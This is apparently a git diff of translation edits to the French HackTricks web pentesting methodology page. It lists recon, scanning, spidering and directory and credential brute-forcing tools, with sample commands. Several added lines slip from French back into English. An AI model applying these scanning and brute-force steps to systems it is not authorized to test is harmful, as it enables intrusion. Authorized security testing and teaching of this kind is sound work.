Translated ['src/pentesting-web/cache-deception/README.md', 'src/network

src/SUMMARY.md

@@ -447,6 +447,7 @@
   - [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
   - [Nginx](network-services-pentesting/pentesting-web/nginx.md)
   - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
+  - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
   - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
     - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
       - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@@ -929,4 +930,3 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
-  

src/network-services-pentesting/pentesting-web/README.md

@@ -1,12 +1,12 @@
-# 80,443 - Méthodologie de Pentesting Web
+# 80,443 - Méthodologie de pentesting Web
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Informations de base
 
-Le service web est le service le plus **commun et étendu** et il existe de nombreux **types différents de vulnérabilités**.
+Le service web est le service le plus **courant et étendu** et de nombreux **types différents de vulnérabilités** existent.
 
-**Port par défaut :** 80 (HTTP), 443(HTTPS)
+Port par défaut : 80 (HTTP), 443 (HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Directives pour les API Web
+### Conseils pour Web API
 
 
 {{#ref}}
@@ -26,36 +26,36 @@ web-api-pentesting.md
 
 ## Résumé de la méthodologie
 
-> Dans cette méthodologie, nous supposons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le scope.
+> Dans cette méthodologie, nous supposerons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert(e) avec un serveur web indéterminé dans le scope.
 
-- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder en tête pendant le reste du test si vous parvenez à identifier la technologie.
-- [ ] Existe-t-il une **vulnérabilité connue** pour la version de la technologie ?
-- [ ] Utilisez-vous une **technologie bien connue** ? Y a-t-il une **astuce utile** pour extraire plus d'informations ?
-- [ ] Y a-t-il un **scanner spécialisé** à lancer (comme wpscan) ?
+- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Cherchez des **tricks** à garder en tête pendant le reste du test si vous parvenez à identifier la tech.
+- [ ] Existe-t-il une **known vulnerability** pour la version de la technologie ?
+- [ ] Utilisez-vous une **well known tech** ? Un **useful trick** pour extraire plus d'informations ?
+- [ ] Y a-t-il un **specialised scanner** à lancer (comme wpscan) ?
 - [ ] Lancez des **general purposes scanners**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes.
-- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, **404** error et **SSL/TLS scan** (si HTTPS).
-- [ ] Commencez le **spidering** de la page web : c'est le moment de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés** possibles. Vérifiez aussi les **trouvailles particulières**.
-- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être spidered._
-- [ ] **Directory Brute-Forcing** : Essayez de brute-forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
-- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être Brute-Forced._
-- [ ] **Backups checking** : Vérifiez si vous pouvez trouver des **backups** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
+- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS).
+- [ ] Commencez le **spidering** de la page web : c'est le moment de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés.** Vérifiez aussi les **trouvailles particulières**.
+- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être spidered._
+- [ ] **Directory Brute-Forcing** : Essayez de brute-forcer tous les dossiers découverts en recherchant de nouveaux **fichiers** et **répertoires**.
+- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être Brute-Forced._
+- [ ] **Backups checking** : Testez si vous pouvez trouver des **backups** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
 - [ ] **Brute-Force parameters** : Essayez de **trouver des paramètres cachés**.
-- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant des **user input**, vérifiez tous les types de **vulnérabilités** qui y sont liés.
+- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant **user input**, vérifiez tous les types de **vulnerabilities** qui leur sont liés.
 - [ ] [Suivez cette checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
 ## Version du serveur (Vulnérable ?)
 
 ### Identification
 
-Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\
-Les **HTTP headers** et les **cookies** de la réponse peuvent être très utiles pour **identifier** les **technologies** et/ou la **version** utilisées. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)** :**
+Vérifiez s'il existe des **known vulnerabilities** pour la version du serveur en cours d'exécution.\
+Les **HTTP headers and cookies of the response** peuvent être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. Un **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech** ](https://github.com/ShielderSec/webtech) ou [**https://builtwith.com/**](https://builtwith.com) peuvent également être utiles :
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Rechercher [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
+Rechercher **pour** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
 ### **Vérifier s'il y a un WAF**
 
@@ -65,7 +65,7 @@ Rechercher [**vulnerabilities of the web application** **version**](../../generi
 
 ### Astuces techniques Web
 
-Quelques **astuces** pour la **recherche de vulnérabilités** dans différentes **technologies** bien connues utilisées :
+Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **technologies** bien connues utilisées :
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -100,20 +100,21 @@ Quelques **astuces** pour la **recherche de vulnérabilités** dans différentes
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
+- [**Sitecore**](sitecore/index.html)
 
 _Prenez en compte que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
-Si l'application web utilise une des **tech/platform listées ci-dessus** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et dites-le-moi !).
+Si l'application web utilise l'une des **technologies/plateformes listées ci‑dessus** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites‑m'en part !).
 
 ### Revue du code source
 
-Si le **source code** de l'application est disponible sur **github**, en plus d'effectuer par **vous-même un White box test** de l'application, il y a **des informations** qui pourraient être **utiles** pour le **Black-Box testing** en cours :
+Si le **code source** de l'application est disponible sur **github**, en plus d'effectuer par vous‑même un White box test de l'application, il existe **des informations** qui pourraient être **utiles** pour le présent **Black-Box testing** :
 
-- Y a-t-il un fichier **Change-log**, **Readme** ou **Version** ou tout autre élément avec des **informations de version accessibles** via le web ?
-- Comment et où sont stockés les **identifiants** ? Y a-t-il un **fichier** (accessible ?) contenant des identifiants (noms d'utilisateur ou mots de passe) ?
-- Les **mots de passe** sont-ils en **texte clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
-- Utilise-t-il une **master key** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ?
-- Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ?
-- Y a-t-il des **informations intéressantes sur github** (issues résolues ou non) ? Ou dans l'**historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ?
+- Existe‑t‑il un fichier **Change-log or Readme or Version** ou autre contenant des **version info accessible** via le web ?
+- Comment et où sont sauvegardées les **credentials** ? Y a‑t‑il un (fichier accessible ?) **file** avec des credentials (usernames or passwords) ?
+- Les **passwords** sont‑ils en **plain text**, **encrypted** ou quel **hashing algorithm** est utilisé ?
+- Utilise‑t‑elle une **master key** pour chiffrer quelque chose ? Quel **algorithm** est utilisé ?
+- Pouvez‑vous **access any of these files** en exploitant une vulnérabilité ?
+- Y a‑t‑il des **informations intéressantes dans le github** (issues résolues ou non) ? Ou dans l'**commit history** (peut‑être un **password** introduit dans un ancien commit) ?
 
 {{#ref}}
 code-review-tools.md
@@ -133,12 +134,12 @@ nuclei -ut && nuclei -target <URL>
 # https://github.com/ignis-sec/puff (client side vulns fuzzer)
 node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
 ```
-#### Scanners de CMS
+#### Scanners CMS
 
-Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, vous pourriez trouver quelque chose d'intéressant :
+Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, vous pourriez y trouver quelque chose d'intéressant :
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites Web pour des vulnérabilités de sécurité. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour détecter des problèmes de sécurité. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> À ce stade, vous devriez déjà disposer de certaines informations sur le web server utilisé par le client (si des données sont fournies) et de quelques astuces à garder en tête pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et lancé un scanner.
+> À ce stade vous devriez déjà disposer de certaines informations sur le serveur web utilisé par le client (si des données sont fournies) et de quelques astuces à garder en tête pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et exécuté un scanner.
 
-## Étape par étape : Web Application Discovery
+## Step-by-step Web Application Discovery
 
-> À partir de maintenant nous allons commencer à interagir avec l'application web.
+> From this point we are going to start interacting with the web application.
 
-### Vérifications initiales
+### Initial checks
 
-**Pages par défaut contenant des informations intéressantes :**
+**Default pages with interesting info:**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Vérifiez aussi les commentaires dans les pages principales et secondaires.
+- Check also comments in the main and secondary pages.
 
-**Forcer des erreurs**
+**Forcing errors**
 
-Les web servers peuvent **se comporter de manière inattendue** lorsque des données bizarres leur sont envoyées. Cela peut ouvrir des **vulnerabilities** ou provoquer la **disclosure sensitive information**.
+Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
 
-- Accédez à des **pages factices** comme /whatever_fake.php (.aspx,.html,.etc)
-- **Ajoutez "\[]", "]]", et "\[\["** dans les **cookie values** et les **parameter** values pour provoquer des erreurs
-- Générer une erreur en donnant en entrée **`/~randomthing/%s`** à la **fin** de l'**URL**
-- Essayez **différents HTTP Verbs** comme PATCH, DEBUG ou même des verbes invalides comme FAKE
+- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
+- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
+- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
+- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
 
-#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **Vérifiez si vous pouvez téléverser des fichiers (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-Si vous constatez que **WebDav** est **enabled** mais que vous n'avez pas suffisamment de permissions pour **uploading files** dans le dossier racine, essayez de :
+If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
 
-- **Brute Force** credentials
-- **Upload files** via WebDav dans le **reste** des **found folders** présents dans la page web. Il se peut que vous ayez la permission d'uploader des fichiers dans d'autres dossiers.
+- **Brute Force** des identifiants
+- **Téléversez des fichiers** via WebDav dans les **autres** **dossiers trouvés** sur la page web. Vous pourriez avoir la permission de téléverser des fichiers dans d'autres dossiers.
 
-### **SSL/TLS Vulnerabilités**
+### **Vulnérabilités SSL/TLS**
 
-- Si l'application **n'oblige pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnerable to MitM**
-- Si l'application **envoie des données sensibles (passwords) via HTTP**. Alors c'est une vulnérabilité élevée.
+- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM**
+- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability.
 
-Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnerabilities** (dans les programmes Bug Bounty, ce type de vulnérabilités est probablement rarement accepté) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour recontrôler les vulnerabilities :
+Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -195,60 +196,60 @@ Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Information about SSL/TLS vulnerabilities:
+Informations sur les vulnérabilités SSL/TLS :
 
 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
 
 ### Spidering
 
-Lancez une sorte de **spider** dans l'application web. L'objectif du spider est de **trouver autant de chemins que possible** depuis l'application testée. Par conséquent, le crawling web et les sources externes doivent être utilisés pour découvrir le plus de chemins valides possible.
+Lancez une sorte de **spider** sur le web. L'objectif du spider est de **trouver autant de chemins que possible** depuis l'application testée. Par conséquent, web crawling et les sources externes doivent être utilisés pour trouver le plus de chemins valides possible.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder dans les fichiers JS et des sources externes (Archive.org, CommonCrawl.org, VirusTotal.com).
 - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe.
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indique aussi les "juicy files".
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactive HTML spider. Il recherche aussi dans Archive.org
-- [**meg**](https://github.com/tomnomnom/meg) (go): Cet outil n'est pas un spider mais peut être utile. Vous pouvez spécifier un fichier d'hôtes et un fichier de chemins ; meg récupérera chaque chemin sur chaque hôte et sauvegardera la réponse.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider avec capacités de rendu JS. Cependant, il semble non maintenu, la version précompilée est ancienne et le code actuel ne compile pas.
-- [**gau**](https://github.com/lc/gau) (go): HTML spider qui utilise des fournisseurs externes (wayback, otx, commoncrawl)
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ce script trouve des URLs avec paramètres et les liste.
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactif HTML spider. Cherche aussi dans Archive.org
+- [**meg**](https://github.com/tomnomnom/meg) (go): Cet outil n'est pas un spider mais peut être utile. Vous pouvez indiquer un fichier avec hosts et un fichier avec paths et meg récupérera chaque path sur chaque host et sauvegardera la réponse.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider avec capacités de rendu JS. Cependant, il semble non maintenu, la version précompilée est vieille et le code courant ne compile pas.
+- [**gau**](https://github.com/lc/gau) (go): HTML spider qui utilise des providers externes (wayback, otx, commoncrawl)
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ce script trouvera les URLs avec paramètres et les listera.
 - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider avec rendu JS.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, avec capacités de beautify JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut être intéressant aussi de regarder [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Pour extraire des endpoints dans le source HTML et dans les fichiers javascript embarqués. Utile pour bug hunters, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script python 2.7 utilisant Tornado et JSBeautifier pour parser des URLs relatives à partir de fichiers JavaScript. Utile pour découvrir facilement des requêtes AJAX. Semble non maintenu.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Donné un fichier (HTML) il extraira les URLs en utilisant une expression régulière astucieuse pour trouver et extraire les URLs relatives de fichiers uglifiés (minifiés).
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, avec capacités de JS beautify capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut valoir le coup de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Pour extraire des endpoints à la fois dans le source HTML et dans les fichiers javascript embarqués. Utile pour bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script python 2.7 utilisant Tornado et JSBeautifier pour parser les URLs relatives depuis les fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble non maintenu.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Donné un fichier (HTML) il extrait les URLs en utilisant une regex astucieuse pour trouver et extraire les URLs relatives depuis des fichiers minifiés.
 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils): Rassemble des informations intéressantes depuis les fichiers JS en utilisant plusieurs outils.
-- [**subjs**](https://github.com/lc/subjs) (go): Trouver des fichiers JS.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Charge une page dans un navigateur headless et affiche toutes les urls chargées pour afficher la page.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Outil de discovery de contenu mélangeant plusieurs options des outils précédents.
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Une extension Burp pour trouver chemins et params dans les fichiers JS.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Un outil qui, donné l'URL du .js.map, récupérera le code JS beautifié.
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Outil utilisé pour découvrir des endpoints pour une cible donnée.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvrir des liens depuis la wayback machine (télécharge aussi les réponses dans la wayback et recherche d'autres liens).
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (même en remplissant des formulaires) et trouve aussi des infos sensibles en utilisant des regexs spécifiques.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite est un crawler/spider GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): C'est un package Go et un [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, chemins, secrets et autres données intéressantes depuis le code source JavaScript.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge est une simple **Burp Suite extension** pour **extraire les paramters et endpoints** de la requête afin de créer des wordlists personnalisées pour le fuzzing et l'énumération.
+- [**subjs**](https://github.com/lc/subjs) (go): Trouve les fichiers JS.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Charge une page dans un headless browser et affiche toutes les urls chargées pour afficher la page.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Outil de découverte de contenu mélangeant plusieurs options des outils précédents
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Une extension Burp pour trouver paths et params dans les fichiers JS.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Un outil qui, donné l'URL .js.map, vous récupérera le code JS beautifié
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Outil utilisé pour découvrir des endpoints pour une target donnée.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvre des liens depuis la wayback machine (télécharge aussi les réponses dans la wayback et cherche plus de liens)
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (même en remplissant des forms) et trouve aussi des infos sensibles en utilisant des regex spécifiques.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite est un GUI crawler/spider multi-fonction avancé conçu pour les professionnels de la cybersécurité.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, paths, secrets et autres données intéressantes depuis le code source JavaScript.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge est une simple **Burp Suite extension** pour **extraire les paramètres et endpoints** des requêtes afin de créer des wordlists personnalisées pour le fuzzing et l'énumération.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Outil excellent pour cela.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Affiche chaque lien qu'il est capable de trouver.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Affiche chaque link qu'il est capable de trouver.
 
 ### Brute Force directories and files
 
-Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** et préfixer dans le wordlist utilisé les noms des répertoires trouvés).\
+Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** ainsi que tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** en préfixant au début de la wordlist utilisée les noms des répertoires trouvés).\
 Outils :
 
-- **Dirb** / **Dirbuster** - Inclus dans Kali, **vieux** (et **lent**) mais fonctionnel. Permet certificats auto-signés et recherche récursive. Trop lent comparé aux autres options.
+- **Dirb** / **Dirbuster** - Inclus dans Kali, **old** (et **slow**) mais fonctionnel. Permet les certificats auto-signés et la recherche récursive. Trop lent comparé aux autres options.
 - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signés mais** permet la recherche récursive.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): Il permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, supporte la recherche récursive.**
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
-- [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Ce n'est pas un spider mais un outil qui, donné la liste d'URLs trouvées, supprimera les URLs "dupliquées".
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension pour créer une liste de répertoires depuis l'historique burp de différentes pages.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Supprime les URLs avec des fonctionnalités dupliquées (basé sur les imports js).
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python): Ce n'est pas un spider mais un outil qui, donné la liste des URLs trouvées, supprimera les URLs "dupliquées".
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension pour créer une liste de répertoires depuis l'historique Burp de différentes pages
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Supprime les URLs avec des fonctionnalités dupliquées (basé sur les imports js)
 - [**Chamaleon**](https://github.com/iustin24/chameleon): Utilise wapalyzer pour détecter les technologies utilisées et sélectionner les wordlists à utiliser.
 
-**Dictionnaires recommandés :**
+Dictionnaires recommandés :
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -271,37 +272,37 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute
 
 ### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trouver les liens cassés dans les HTMLs qui peuvent être susceptibles de takeover.
-- **File Backups**: Une fois que vous avez trouvé tous les fichiers, cherchez des backups de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Variantes communes de nommage pour un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-- **Discover new parameters**: Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si possible, essayez de rechercher** des paramètres cachés sur chaque fichier web exécutable.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trouve des liens cassés dans les HTML qui peuvent être susceptibles de takeovers
+- **File Backups**: Une fois que vous avez trouvé tous les fichiers, recherchez des backups de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Variantes communes pour nommer un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Discover new parameters**: Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si possible, essayez de rechercher des paramètres cachés dans chaque fichier web exécutable.**
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Commentaires :** Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalités cachées**.
